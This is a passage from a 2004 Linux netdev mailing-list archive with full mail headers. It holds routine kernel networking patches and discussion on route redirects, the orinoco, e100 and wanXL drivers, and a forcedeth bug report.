'rth->rt_dst == rth->rt_gateway' check for redirects and renamed the flags. Regards -- Julian Anastasov From ja@ssi.bg Sat Mar 6 08:02:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Mar 2004 08:02:37 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i26G2KKO031980 for ; Sat, 6 Mar 2004 08:02:23 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i26G260Z018319; Sat, 6 Mar 2004 18:02:06 +0200 Date: Sat, 6 Mar 2004 18:02:06 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: kuznet@ms2.inr.ac.ru cc: davem@redhat.com, niv@us.ibm.com, ak@suse.de, ruddk@us.ibm.com, netdev@oss.sgi.com, chester.f.johnson@intel.com Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) In-Reply-To: <200403042202.BAA10586@yakov.inr.ac.ru> Message-ID: References: <200403042202.BAA10586@yakov.inr.ac.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3782 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 1898 Lines: 69 Hello, On Fri, 5 Mar 2004 kuznet@ms2.inr.ac.ru wrote: > > - do we need to walk all tos values for ip_rt_redirect in the same > > way as for ip_rt_frag_needed, > > Well, it is just the same thing (except for one thing, that ignored > redirects are harmless) A related 3-hunk change (on top of tos-8.diff), more eyes are needed. The 2nd hunk tries harder to propagate the new_gw. It seems this 2nd hunk is needed because the first list of checks does not compare all possible keys and we can not simply exit the hash chain in the middle. This problem exists also in current kernels, for example, when fwmark is used. As for hunks 1 and the 3, they are needed if we want to propagate the new_gw value to all entries in the hash chain with the cost of some cycles. If we do not apply 1 and 3 then we will update the next entries in the chain on another redirect message. do_next is still used to avoid deadloops in a chain, do_repeat is used only on successful update. Comments? Regards -- Julian Anastasov --- linux-tos-8/net/ipv4/route.c 2004-03-06 13:24:03.000000000 +0200 +++ linux/net/ipv4/route.c 2004-03-06 17:28:34.572673040 +0200 @@ -1018,6 +1018,8 @@ for (i = 0; i < 2; i++) { unsigned hash = rt_hash_code(daddr, skeys[i], tos_values[j]); + do_repeat: + rthp=&rt_hash_table[hash].chain; rcu_read_lock(); @@ -1039,8 +1041,10 @@ rth->rt_src != saddr || rth->u.dst.error || rth->rt_gateway != old_gw || - rth->u.dst.dev != dev) - break; + rth->u.dst.dev != dev) { + rthp = &rth->u.rt_next; + continue; + } dst_hold(&rth->u.dst); rcu_read_unlock(); @@ -1089,8 +1093,10 @@ } rt_del(hash, rth); - if (!rt_intern_hash(hash, rt, &rt)) + if (!rt_intern_hash(hash, rt, &rt)) { ip_rt_put(rt); + goto do_repeat; + } goto do_next; } rcu_read_unlock(); From romieu@fr.zoreil.com Sat Mar 6 17:41:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Mar 2004 17:41:20 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i271fGKO017710 for ; Sat, 6 Mar 2004 17:41:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i271bugf007836; Sun, 7 Mar 2004 02:37:56 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i271bmSd007834; Sun, 7 Mar 2004 02:37:48 +0100 Date: Sun, 7 Mar 2004 02:37:48 +0100 From: Francois Romieu To: netdev@oss.sgi.com Subject: [update] 2.6.4-rc2 - Realtek 8169 patches Message-ID: <20040307023748.A7829@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 3783 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 638 Lines: 22 An updated version of the r8169 patches against 2.6.4-rc2 is available. Individual files: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.4-rc2 Tarball: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.4-rc2/r8169-blob.tar.bz2 Readme: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.4-rc2/README.txt Comparison with standard r8169 driver up to the point where r8169-getstats.patch is applied as described in the README.txt file will be welcome. If you feel adventurous, you can directly try: http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.4-rc2/r8169-full.patch Please Cc: netdev@oss.sgi.com on success/failure. -- Ueimor From tmus@tmus.dk Sat Mar 6 17:50:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Mar 2004 17:50:07 -0800 (PST) Received: from mail.tmus.dk (cpe.atm0-0-0-1561101.0x50a0a16e.albnxx5.customer.tele.dk [80.160.161.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i271o2KO018228 for ; Sat, 6 Mar 2004 17:50:03 -0800 Received: from [192.168.1.20] (dyn-192-168-1-20.tmus.dk [192.168.1.20]) by mail.tmus.dk (Postfix) with ESMTP id 39B75F80E1; Sun, 7 Mar 2004 02:52:04 +0100 (CET) Subject: [PATCH] 2.6.3 orinoco.c patch to support ethtool get_link From: Thomas Munck Steenholdt To: hermes@gibson.dropbear.id.au, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1078624195.3551.3.camel@fk460t28.lun.dk.ibm.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5.3 (1.5.3-1) Date: Sun, 07 Mar 2004 02:49:57 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 3784 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tmus@tmus.dk Precedence: bulk X-list: netdev Content-Length: 2096 Lines: 73 Hi there! I noticed that there wasn't a good way, from userland, to get the link status of an orinoco device. So I implemented the basic stuff required to support ethtool. then I implemented the get_link functionality of ethtool (maps orinoco_private->connected the the ethtool link state). It seems to work and will save people some boot-time (on the distros that check for link before attempting DHCP configuration etc.) when laptop users are not on there wireless location. Also it lays the ground to move more functionality to the ethtool model. Please let me know what you think! Best regards Thomas --- drivers/net/wireless/orinoco.c.tmus 2004-03-07 00:25:47.000000000 +0100 +++ drivers/net/wireless/orinoco.c 2004-03-07 01:19:29.433223192 +0100 @@ -430,6 +430,7 @@ #include #include #include +#include #include #include @@ -566,6 +567,8 @@ static void orinoco_stat_gather(struct n static struct net_device_stats *orinoco_get_stats(struct net_device *dev); static struct iw_statistics *orinoco_get_wireless_stats(struct net_device *dev); +static struct ethtool_ops orinoco_ethtool_ops; + /* Hardware control routines */ static int __orinoco_program_rids(struct net_device *dev); @@ -3941,6 +3944,19 @@ orinoco_ioctl(struct net_device *dev, st return err; } +/* ethtool - get link state */ +static u32 orinoco_get_link(struct net_device *dev) +{ + struct orinoco_private *priv = dev->priv; + + return priv->connected; +} + +/* ethtool - function definitions */ +static struct ethtool_ops orinoco_ethtool_ops = { + .get_link = orinoco_get_link, +}; + struct { u16 rid; char *name; @@ -4150,6 +4166,9 @@ struct net_device *alloc_orinocodev(int dev->set_multicast_list = orinoco_set_multicast_list; /* we use the default eth_mac_addr for setting the MAC addr */ + /* setup ethtool ops structure for this device */ + SET_ETHTOOL_OPS(dev, &orinoco_ethtool_ops); + /* Set up default callbacks */ dev->open = orinoco_open; dev->stop = orinoco_stop; From torgersa@colorado.edu Sat Mar 6 17:53:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Mar 2004 17:53:34 -0800 (PST) Received: from farley1.Colorado.EDU (farley1.Colorado.EDU [128.138.129.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i271rVKO018635 for ; Sat, 6 Mar 2004 17:53:31 -0800 Received: (from nobody@localhost) by farley1.Colorado.EDU (8.12.10/8.12.8/ITS-6.0/webmail-sobig) id i271rTiP012613; Sat, 6 Mar 2004 18:53:29 -0700 (MST) From: Adam.Torgerson@colorado.edu Received: from dsl081-103-208.den1.dsl.speakeasy.net (dsl081-103-208.den1.dsl.speakeasy.net [64.81.103.208]) by webmail.colorado.edu (IMP) with HTTP for ; Sat, 6 Mar 2004 18:53:29 -0700 Message-ID: <1078624409.404a80995e634@webmail.colorado.edu> Date: Sat, 6 Mar 2004 18:53:29 -0700 To: netdev@oss.sgi.com Cc: c-d.hailfinger.kernel.2004@gmx.net Subject: Issue Report: forcedeth v0.23, irq with unknown events MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2-cvs X-archive-position: 3785 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Adam.Torgerson@colorado.edu Precedence: bulk X-list: netdev Content-Length: 578 Lines: 17 Hello, I'm getting tons of these kernel messages: "eth0: received irq with unknown events 0x1. Please report" on an Abit NF7 (nforce2 Ultra400 + MCP-T is what the box says), so I figured I better report it. The driver works, but is quite slow (only 256kB/s on a local 100Mbit network). lspci shows the device as: 00:04.0 Ethernet controller: nVidia Corporation nForce2 Ethernet Controller (rev a1) Currently using 2.6.4-rc1-mm2. Let me know if I can provide any more information (please CC me as I'm not on any lists). Thanks for the driver and keep up the good work, Adam From rddunlap@osdl.org Sat Mar 6 20:21:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 06 Mar 2004 20:21:15 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i274LCKO024225 for ; Sat, 6 Mar 2004 20:21:12 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i274L1E08436; Sat, 6 Mar 2004 20:21:02 -0800 Date: Sat, 6 Mar 2004 20:16:40 -0800 From: "Randy.Dunlap" To: Paul Fulghum Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [janitor] use netdev_priv() in synclink (char. driver) Message-Id: <20040306201640.7dd15986.rddunlap@osdl.org> In-Reply-To: <1078499709.2076.5.camel@deimos.microgate.com> References: <20040303142907.09d0f7bd.rddunlap@osdl.org> <20040303150105.7ff770b0.rddunlap@osdl.org> <1078499709.2076.5.camel@deimos.microgate.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3786 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 905 Lines: 42 On 05 Mar 2004 09:15:09 -0600 Paul Fulghum wrote: | On Wed, 2004-03-03 at 17:01, Randy.Dunlap wrote: | > | | > | From: Carlo Perassi | > | and Randy.Dunlap | > | > | > Jeff, can you add this patch and the fusion/mptlan driver | > patch as well? | > | > -- | > ~Randy | > | > | > [snip] | > _ | | | This patch breaks the driver. | | The pointer stored in dev->priv points to a structure that is | allocated and maintained by the driver. | | Changing from dev->priv to netdev_priv(dev) returns a pointer | to memory at the end of the net_device structure. | | These are two different things. | | So with the patch, the driver gets a pointer to something | other than the device private information that it needs. | | Please dont apply this patch. Yes, I see. I appreciate you reviewing and catching that, Paul. Thanks, -- ~Randy From c-d.hailfinger.kernel.2004@gmx.net Sun Mar 7 05:09:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 05:10:12 -0800 (PST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i27D9bKO014086 for ; Sun, 7 Mar 2004 05:09:38 -0800 Received: (qmail 4456 invoked by uid 65534); 7 Mar 2004 13:09:31 -0000 Received: from stud213078.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.213.78) by mail.gmx.net (mp016) with SMTP; 07 Mar 2004 14:09:31 +0100 X-Authenticated: #21910825 Message-ID: <404B1EBC.6030901@gmx.net> Date: Sun, 07 Mar 2004 14:08:12 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Adam.Torgerson@colorado.edu CC: netdev@oss.sgi.com Subject: Re: Issue Report: forcedeth v0.23, irq with unknown events References: <1078624409.404a80995e634@webmail.colorado.edu> In-Reply-To: <1078624409.404a80995e634@webmail.colorado.edu> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3787 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2004@gmx.net Precedence: bulk X-list: netdev Content-Length: 930 Lines: 26 Adam.Torgerson@colorado.edu wrote: > Hello, I'm getting tons of these kernel messages: > > "eth0: received irq with unknown events 0x1. Please report" This event is no longer unknown. It is a RX error and you are not the only one encountering it. I have a patch which will speed up the network a bit and remove the message, but it seems you have serious connection problems. > on an Abit NF7 (nforce2 Ultra400 + MCP-T is what the box says), so I > figured I better report it. The driver works, but is quite slow (only > 256kB/s on a local 100Mbit network). lspci shows the device as: > > 00:04.0 Ethernet controller: nVidia Corporation nForce2 Ethernet > Controller (rev a1) > > Currently using 2.6.4-rc1-mm2. Let me know if I can provide any more > information (please CC me as I'm not on any lists). I will send you an updated version of the driver soon for testing. Rregards, Carl-Daniel -- http://www.hailfinger.org/ From scott.feldman@intel.com Sun Mar 7 05:35:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 05:35:09 -0800 (PST) Received: from fmsfmr004.fm.intel.com (fmr11.intel.com [192.55.52.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i27DZ6KO014778 for ; Sun, 7 Mar 2004 05:35:06 -0800 Received: from petasus-pilot.fm.intel.com (petasus-pilot.fm.intel.com [10.1.192.44]) by fmsfmr004.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i27DbEk6009391; Sun, 7 Mar 2004 13:37:14 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus-pilot.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i27DV0N5021977; Sun, 7 Mar 2004 13:31:47 GMT Received: from [134.134.3.158] ([134.134.3.158]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004030700045410956 ; Sun, 07 Mar 2004 00:04:55 -0800 Date: Sun, 7 Mar 2004 00:40:15 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e100 2.6] missing setup for National DP83840 PHY rev b/c Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3788 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 973 Lines: 29 * Add National DP83840 PHY rev b/c setup. Only rev a was being setup. ------------- --- linux-2.5/drivers/net/e100.c 2004-03-04 09:30:03.000000000 -0800 +++ linux-2.5/drivers/net/e100.c.mod 2004-03-04 09:30:48.000000000 -0800 @@ -158,7 +158,7 @@ #define DRV_NAME "e100" -#define DRV_VERSION "3.0.15" +#define DRV_VERSION "3.0.16" #define DRV_DESCRIPTION "Intel(R) PRO/100 Network Driver" #define DRV_COPYRIGHT "Copyright(c) 1999-2004 Intel Corporation" #define PFX DRV_NAME ": " @@ -1032,8 +1032,9 @@ static int e100_phy_init(struct nic *nic nic->phy = (u32)id_hi << 16 | (u32)id_lo; DPRINTK(HW, DEBUG, "phy ID = 0x%08X\n", nic->phy); - /* Handle National tx phy */ - if(nic->phy == phy_nsc_tx) { + /* Handle National tx phys */ +#define NCS_PHY_MODEL_MASK 0xFFF0FFFF + if((nic->phy & NCS_PHY_MODEL_MASK) == phy_nsc_tx) { /* Disable congestion control */ cong = mdio_read(netdev, nic->mii.phy_id, MII_NSC_CONG); cong |= NSC_CONG_TXREADY; From khc@pm.waw.pl Sun Mar 7 16:12:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 16:12:35 -0800 (PST) Received: from hq.pm.waw.pl (hq.pm.waw.pl [195.116.170.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i280CBKO007014 for ; Sun, 7 Mar 2004 16:12:12 -0800 Received: by hq.pm.waw.pl (Postfix, from userid 10) id 74965367; Mon, 8 Mar 2004 01:12:08 +0100 (CET) Received: by defiant.pm.waw.pl (Postfix, from userid 500) id 2EF52302D4; Mon, 8 Mar 2004 01:00:09 +0100 (CET) To: Jeff Garzik Cc: Subject: 2.6.x wanXL driver update From: Krzysztof Halasa Date: Mon, 08 Mar 2004 01:00:09 +0100 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-archive-position: 3809 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: khc@pm.waw.pl Precedence: bulk X-list: netdev Content-Length: 11379 Lines: 396 --=-=-= Hi, The attached patch updates wanXL card driver. Please apply to Linux 2.6. Thanks. Changes: * fixed initialization kernel panic, introduced with recent alloc_netdev() wan patch, * wanxl_rx_intr() port# now checked before accessing port structure, * cleanups etc. -- Krzysztof Halasa, B*FH --=-=-= Content-Type: text/x-patch Content-Disposition: inline; filename=wanxl-2.6.4rc2.patch --- linux/drivers/net/wan/wanxl.c 26 Feb 2004 16:26:48 -0000 1.5 +++ linux/drivers/net/wan/wanxl.c 7 Mar 2004 21:50:38 -0000 @@ -31,7 +31,7 @@ #include "wanxl.h" -static const char* version = "wanXL serial card driver version: 0.47"; +static const char* version = "wanXL serial card driver version: 0.48"; #define PLX_CTL_RESET 0x40000000 /* adapter reset */ @@ -73,12 +73,11 @@ u8 *plx; /* PLX PCI9060 virtual base address */ struct pci_dev *pdev; /* for pdev->slot_name */ - port_t *ports[4]; int rx_in; struct sk_buff *rx_skbs[RX_QUEUE_LENGTH]; card_status_t *status; /* shared between host and card */ dma_addr_t status_address; - port_t __ports[0]; + port_t ports[0]; /* 1 - 4 port_t structures follow */ }card_t; @@ -89,18 +88,6 @@ } -static inline struct net_device *port_to_dev(port_t* port) -{ - return port->dev; -} - - -static inline const char* port_name(port_t *port) -{ - return port_to_dev(port)->name; -} - - static inline const char* card_name(struct pci_dev *pdev) { return pdev->slot_name; @@ -165,9 +152,9 @@ dte = (value & STATUS_CABLE_DCE) ? " DCE" : " DTE"; } printk(KERN_INFO "%s: %s%s module, %s cable%s%s\n", - port_name(port), pm, dte, cable, dsr, dcd); + port->dev->name, pm, dte, cable, dsr, dcd); - hdlc_set_carrier(value & STATUS_CABLE_DCD, port_to_dev(port)); + hdlc_set_carrier(value & STATUS_CABLE_DCD, port->dev); } @@ -175,7 +162,7 @@ /* Transmit complete interrupt service */ static inline void wanxl_tx_intr(port_t *port) { - struct net_device *dev = port_to_dev(port); + struct net_device *dev = port->dev; struct net_device_stats *stats = hdlc_stats(dev); while (1) { desc_t *desc = &get_status(port)->tx_descs[port->tx_in]; @@ -210,47 +197,49 @@ static inline void wanxl_rx_intr(card_t *card) { desc_t *desc; - while(desc = &card->status->rx_descs[card->rx_in], - desc->stat != PACKET_EMPTY) { - struct sk_buff *skb = card->rx_skbs[card->rx_in]; - port_t *port = card->ports[desc->stat & PACKET_PORT_MASK]; - struct net_device *dev = port_to_dev(port); - struct net_device_stats *stats = hdlc_stats(dev); - + while (desc = &card->status->rx_descs[card->rx_in], + desc->stat != PACKET_EMPTY) { if ((desc->stat & PACKET_PORT_MASK) > card->n_ports) printk(KERN_CRIT "wanXL %s: received packet for" " nonexistent port\n", card_name(card->pdev)); - - else if (!skb) - stats->rx_dropped++; - else { - pci_unmap_single(card->pdev, desc->address, - BUFFER_LENGTH, PCI_DMA_FROMDEVICE); - skb_put(skb, desc->length); + struct sk_buff *skb = card->rx_skbs[card->rx_in]; + port_t *port = &card->ports[desc->stat & + PACKET_PORT_MASK]; + struct net_device *dev = port->dev; + struct net_device_stats *stats = hdlc_stats(dev); + + if (!skb) + stats->rx_dropped++; + else { + pci_unmap_single(card->pdev, desc->address, + BUFFER_LENGTH, + PCI_DMA_FROMDEVICE); + skb_put(skb, desc->length); #ifdef DEBUG_PKT - printk(KERN_DEBUG "%s RX(%i):", port_name(port), - skb->len); - debug_frame(skb); + printk(KERN_DEBUG "%s RX(%i):", dev->name, + skb->len); + debug_frame(skb); #endif - stats->rx_packets++; - stats->rx_bytes += skb->len; - skb->mac.raw = skb->data; - skb->dev = dev; - dev->last_rx = jiffies; - skb->protocol = hdlc_type_trans(skb, dev); - netif_rx(skb); - skb = NULL; - } - - if (!skb) { - skb = dev_alloc_skb(BUFFER_LENGTH); - desc->address = skb ? - pci_map_single(card->pdev, skb->data, - BUFFER_LENGTH, - PCI_DMA_FROMDEVICE) : 0; - card->rx_skbs[card->rx_in] = skb; + stats->rx_packets++; + stats->rx_bytes += skb->len; + skb->mac.raw = skb->data; + skb->dev = dev; + dev->last_rx = jiffies; + skb->protocol = hdlc_type_trans(skb, dev); + netif_rx(skb); + skb = NULL; + } + + if (!skb) { + skb = dev_alloc_skb(BUFFER_LENGTH); + desc->address = skb ? + pci_map_single(card->pdev, skb->data, + BUFFER_LENGTH, + PCI_DMA_FROMDEVICE) : 0; + card->rx_skbs[card->rx_in] = skb; + } } desc->stat = PACKET_EMPTY; /* Free descriptor */ card->rx_in = (card->rx_in + 1) % RX_QUEUE_LENGTH; @@ -273,9 +262,9 @@ for (i = 0; i < card->n_ports; i++) { if (stat & (1 << (DOORBELL_FROM_CARD_TX_0 + i))) - wanxl_tx_intr(card->ports[i]); + wanxl_tx_intr(&card->ports[i]); if (stat & (1 << (DOORBELL_FROM_CARD_CABLE_0 + i))) - wanxl_cable_intr(card->ports[i]); + wanxl_cable_intr(&card->ports[i]); } if (stat & (1 << DOORBELL_FROM_CARD_RX)) wanxl_rx_intr(card); @@ -297,8 +286,7 @@ if (desc->stat != PACKET_EMPTY) { /* should never happen - previous xmit should stop queue */ #ifdef DEBUG_PKT - printk(KERN_DEBUG "%s: transmitter buffer full\n", - port_name(port)); + printk(KERN_DEBUG "%s: transmitter buffer full\n", dev->name); #endif netif_stop_queue(dev); spin_unlock_irq(&port->lock); @@ -306,7 +294,7 @@ } #ifdef DEBUG_PKT - printk(KERN_DEBUG "%s TX(%i):", port_name(port), skb->len); + printk(KERN_DEBUG "%s TX(%i):", dev->name, skb->len); debug_frame(skb); #endif @@ -324,8 +312,7 @@ if (get_status(port)->tx_descs[port->tx_out].stat != PACKET_EMPTY) { netif_stop_queue(dev); #ifdef DEBUG_PKT - printk(KERN_DEBUG "%s: transmitter buffer full\n", - port_name(port)); + printk(KERN_DEBUG "%s: transmitter buffer full\n", dev->name); #endif } @@ -417,7 +404,7 @@ int i; if (get_status(port)->open) { - printk(KERN_ERR "%s: port already open\n", port_name(port)); + printk(KERN_ERR "%s: port already open\n", dev->name); return -EIO; } if ((i = hdlc_open(dev)) != 0) @@ -435,7 +422,7 @@ return 0; while (time_after(timeout, jiffies)); - printk(KERN_ERR "%s: unable to open port\n", port_name(port)); + printk(KERN_ERR "%s: unable to open port\n", dev->name); /* ask the card to close the port, should it be still alive */ writel(1 << (DOORBELL_TO_CARD_CLOSE_0 + port->node), dbr); return -EFAULT; @@ -461,7 +448,7 @@ while (time_after(timeout, jiffies)); if (get_status(port)->open) - printk(KERN_ERR "%s: unable to close port\n", port_name(port)); + printk(KERN_ERR "%s: unable to close port\n", dev->name); for (i = 0; i < TX_BUFFERS; i++) { desc_t *desc = &get_status(port)->tx_descs[i]; @@ -528,11 +515,10 @@ card_t *card = pci_get_drvdata(pdev); int i; - for (i = 0; i < 4; i++) - if (card->ports[i]) { - struct net_device *dev = port_to_dev(card->ports[i]); - unregister_hdlc_device(dev); - } + for (i = 0; i < card->n_ports; i++) { + unregister_hdlc_device(card->ports[i].dev); + free_netdev(card->ports[i].dev); + } /* unregister and free all host resources */ if (card->irq) @@ -555,13 +541,10 @@ pci_free_consistent(pdev, sizeof(card_status_t), card->status, card->status_address); - for (i = 0; i < card->n_ports; i++) - if (card->__ports[i].dev) - free_netdev(card->__ports[i].dev); - + pci_release_regions(pdev); + pci_disable_device(pdev); pci_set_drvdata(pdev, NULL); kfree(card); - pci_release_regions(pdev); } @@ -599,13 +582,15 @@ work on most platforms */ if (pci_set_consistent_dma_mask(pdev, 0x0FFFFFFF) || pci_set_dma_mask(pdev, 0x0FFFFFFF)) { - printk(KERN_ERR "No usable DMA configuration\n"); + printk(KERN_ERR "wanXL: No usable DMA configuration\n"); return -EIO; } i = pci_request_regions(pdev, "wanXL"); - if (i) + if (i) { + pci_disable_device(pdev); return i; + } switch (pdev->device) { case PCI_DEVICE_ID_SBE_WANXL100: ports = 1; break; @@ -619,23 +604,13 @@ printk(KERN_ERR "wanXL %s: unable to allocate memory\n", card_name(pdev)); pci_release_regions(pdev); + pci_disable_device(pdev); return -ENOBUFS; } memset(card, 0, alloc_size); pci_set_drvdata(pdev, card); card->pdev = pdev; - card->n_ports = ports; - - for (i = 0; i < ports; i++) { - card->__ports[i].dev = alloc_hdlcdev(&card->__ports[i]); - if (!card->__ports[i].dev) { - printk(KERN_ERR "wanXL %s: unable to allocate memory\n", - card_name(pdev)); - wanxl_pci_remove_one(pdev); - return -ENOMEM; - } - } card->status = pci_alloc_consistent(pdev, sizeof(card_status_t), &card->status_address); @@ -655,7 +630,7 @@ to indicate the card can do 32-bit DMA addressing */ if (pci_set_consistent_dma_mask(pdev, 0xFFFFFFFF) || pci_set_dma_mask(pdev, 0xFFFFFFFF)) { - printk(KERN_ERR "No usable DMA configuration\n"); + printk(KERN_ERR "wanXL: No usable DMA configuration\n"); wanxl_pci_remove_one(pdev); return -EIO; } @@ -767,17 +742,11 @@ ramsize = stat; #endif - printk(KERN_INFO "wanXL %s: at 0x%X, %u KB of RAM at 0x%X, irq" - " %u\n" KERN_INFO "wanXL %s: port", card_name(pdev), - plx_phy, ramsize / 1024, mem_phy, pdev->irq, card_name(pdev)); - - for (i = 0; i < ports; i++) - printk("%s #%i: %s", i ? "," : "", i, - port_name(card->ports[i])); - printk("\n"); + printk(KERN_INFO "wanXL %s: at 0x%X, %u KB of RAM at 0x%X, irq %u\n", + card_name(pdev), plx_phy, ramsize / 1024, mem_phy, pdev->irq); /* Allocate IRQ */ - if(request_irq(pdev->irq, wanxl_intr, SA_SHIRQ, "wanXL", card)) { + if (request_irq(pdev->irq, wanxl_intr, SA_SHIRQ, "wanXL", card)) { printk(KERN_WARNING "wanXL %s: could not allocate IRQ%i.\n", card_name(pdev), pdev->irq); wanxl_pci_remove_one(pdev); @@ -786,9 +755,18 @@ card->irq = pdev->irq; for (i = 0; i < ports; i++) { - port_t *port = &card->__ports[i]; - struct net_device *dev = port_to_dev(port); - hdlc_device *hdlc = dev_to_hdlc(dev); + hdlc_device *hdlc; + port_t *port = &card->ports[i]; + struct net_device *dev = alloc_hdlcdev(port); + if (!dev) { + printk(KERN_ERR "wanXL %s: unable to allocate" + " memory\n", card_name(pdev)); + wanxl_pci_remove_one(pdev); + return -ENOMEM; + } + + port->dev = dev; + hdlc = dev_to_hdlc(dev); spin_lock_init(&port->lock); SET_MODULE_OWNER(dev); dev->tx_queue_len = 50; @@ -797,7 +775,6 @@ dev->stop = wanxl_close; hdlc->attach = wanxl_attach; hdlc->xmit = wanxl_xmit; - card->ports[i] = port; dev->get_stats = wanxl_get_stats; port->card = card; port->node = i; @@ -805,11 +782,21 @@ if (register_hdlc_device(dev)) { printk(KERN_ERR "wanXL %s: unable to register hdlc" " device\n", card_name(pdev)); - card->ports[i] = NULL; + free_netdev(dev); wanxl_pci_remove_one(pdev); return -ENOBUFS; } + card->n_ports++; } + + printk(KERN_INFO "wanXL %s: port", card_name(pdev)); + for (i = 0; i < ports; i++) + printk("%s #%i: %s", i ? "," : "", i, + card->ports[i].dev->name); + printk("\n"); + + for (i = 0; i < ports; i++) + wanxl_cable_intr(&card->ports[i]); /* get carrier status etc.*/ return 0; } --=-=-=-- From rmk+netdev=oss.sgi.com@arm.linux.org.uk Sun Mar 7 16:47:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Mar 2004 16:47:23 -0800 (PST) Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i280lHKO010702 for ; Sun, 7 Mar 2004 16:47:18 -0800 Received: from 